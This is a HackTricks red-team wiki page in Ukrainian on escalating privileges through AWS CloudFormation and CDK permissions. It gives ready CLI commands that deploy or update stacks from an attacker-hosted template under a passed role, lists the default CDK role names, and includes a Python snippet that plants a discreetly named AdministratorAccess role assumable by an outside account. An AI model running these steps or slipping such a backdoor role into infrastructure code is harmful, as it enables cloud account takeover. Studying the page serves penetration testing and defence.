AWS - Cloudformation Privesc

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

cloudformation

Для отримання додаткової інформації про cloudformation перегляньте:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Зловмисник з цими дозволами може підвищити привілеї, створивши CloudFormation стек з користувацьким шаблоном, розміщеним на їхньому сервері, щоб виконувати дії під дозволами вказаної ролі:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

На наступній сторінці ви маєте приклад експлуатації з додатковим дозволом cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Потенційний вплив: Привілейоване підвищення до ролі служби cloudformation.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

У цьому випадку ви можете зловживати існуючим стеком cloudformation, щоб оновити його та підвищити привілеї, як у попередньому сценарії:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy дозволяє наділити себе правом UpdateStack над стеком і виконати атаку.

Потенційний вплив: Привілейоване підвищення до ролі сервісу cloudformation.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Якщо у вас є це право, але немає iam:PassRole, ви все ще можете оновити стеки та зловживати IAM ролями, які вже прикріплені. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні).

cloudformation:SetStackPolicy дозволяє наділити себе правом UpdateStack над стеком і виконати атаку.

Потенційний вплив: Привілейоване підвищення до ролі сервісу cloudformation, яка вже прикріплена.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Зловмисник з правами передавати роль і створювати та виконувати ChangeSet може створити/оновити новий стек cloudformation і зловживати ролями сервісу cloudformation так само, як з CreateStack або UpdateStack.

Наступна експлуатація є варіацією CreateStack, що використовує права ChangeSet для створення стека.

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Дозвіл cloudformation:SetStackPolicy можна використовувати, щоб надати собі дозволи ChangeSet над стеком і виконати атаку.

Потенційний вплив: Привілейоване підвищення до ролей сервісу cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Це схоже на попередній метод без передачі IAM ролей, тому ви можете просто зловживати вже прикріпленими, просто змініть параметр:

--change-set-type UPDATE

Потенційний вплив: Privesc до ролі сервісу cloudformation, яка вже прикріплена.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation.

Потенційний вплив: Privesc до ролей сервісу cloudformation.

cloudformation:UpdateStackSet

Зловмисник може зловживати цим дозволом без дозволу passRole для оновлення StackSets, щоб зловживати прикріпленими ролями cloudformation.

Потенційний вплив: Privesc до прикріплених ролей cloudformation.

AWS CDK

AWS cdk - це набір інструментів, що дозволяє користувачам визначати свою інфраструктуру як код на мовах, з якими вони вже знайомі, а також легко повторно використовувати секції. CDK потім перетворює високорівневий код (тобто python) у шаблони Cloudformation (yaml або json).

Щоб використовувати CDK, адміністративний користувач спочатку повинен підготувати обліковий запис, що створює кілька ролей IAM, включаючи exec role, яка має */* дозволи. Ці ролі слідують структурі іменування cdk-<qualifier>-<name>-<account-id>-<region>. Підготовка повинна бути виконана один раз на регіон на обліковий запис.

За замовчуванням, користувачі CDK не мають доступу до списку ролей, необхідних для використання CDK, що означає, що вам потрібно буде визначити їх вручну. Якщо ви зламаєте машину розробника або якийсь вузол CI/CD, ці ролі можуть бути прийняті для надання вам можливості розгортати шаблони CFN, використовуючи роль cfn-exec, щоб дозволити CFN розгортати будь-які ресурси, повністю компрометуючи обліковий запис.

Визначення імен ролей

Якщо у вас є cloudformation:DescribeStacks, ролі визначені в стеку під назвою CDKToolkit, і ви можете витягти імена звідти.

Якщо ви на машині, яка використовувалася для створення та розгортання проектів CDK, ви можете витягти їх з cdk.out/manafest.json у кореневому каталозі проекту.

Ви також можете зробити хорошу здогадку про те, що це. qualifier - це рядок, доданий до ролей, що дозволяє одночасно розгортати кілька екземплярів підготовки CDK, однак значення за замовчуванням закодоване як hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Додавання шкідливого коду до виходу проекту

Якщо ви можете записувати у вихід проекту, але не можете самостійно його розгорнути (наприклад, розробник розгортає код через CI/CD, а не з локальної машини), ви все ще можете скомпрометувати середовище, додавши шкідливі ресурси до стеку. Наступне додає IAM роль, яка може бути прийнята обліковим записом зловмисника, до проекту python CDK.

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks